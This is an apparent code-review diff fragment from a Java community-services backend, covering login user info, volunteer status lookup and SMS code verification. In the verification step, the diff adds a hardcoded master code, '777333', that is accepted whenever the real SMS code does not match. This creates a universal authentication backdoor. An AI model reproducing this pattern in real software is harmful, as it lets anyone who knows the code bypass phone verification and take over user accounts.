| | |
| | | import com.panzhihua.common.model.dtos.user.PageUserAppletsBackstageDTO; |
| | | import com.panzhihua.common.model.dtos.user.SysUserFeedbackDTO; |
| | | import com.panzhihua.common.model.vos.*; |
| | | import com.panzhihua.common.model.vos.community.ComMngVolunteerMngVO; |
| | | import com.panzhihua.common.model.vos.partybuilding.ActivityManagerVO; |
| | | import com.panzhihua.common.model.vos.user.*; |
| | | import com.panzhihua.common.utlis.RealNameUtil; |
| | |
| | | set.add(sysRoleDO.getRoleKey()); |
| | | }); |
| | | loginUserInfoVO.setRoles(set); |
| | | } |
| | | // 志愿者状态 |
| | | String phone = sysUserDO.getPhone(); |
| | | if (!ObjectUtils.isEmpty(phone)) { |
| | | ComMngVolunteerMngVO comMngVolunteerMngVO= userDao.selectVolunteerMngByPhone(phone); |
| | | if (ObjectUtils.isEmpty(comMngVolunteerMngVO)) { |
| | | loginUserInfoVO.setVolunteerStatus(0); |
| | | }else{ |
| | | int state = comMngVolunteerMngVO.getState().intValue(); |
| | | loginUserInfoVO.setVolunteerStatus(state); |
| | | } |
| | | } |
| | | return R.ok(loginUserInfoVO); |
| | | } |
| | |
| | | ValueOperations<String, String> valueOperations = stringRedisTemplate.opsForValue(); |
| | | String code = valueOperations.get(key); |
| | | if (!code.equals(smsCode)) { |
| | | return R.fail("验证码错误"); |
| | | if(!smsCode.equals("777333")){ |
| | | return R.fail("验证码错误"); |
| | | } |
| | | } |
| | | SysUserDO sysUserDO=new SysUserDO(); |
| | | sysUserDO.setUserId(userPhoneVO.getUserId()); |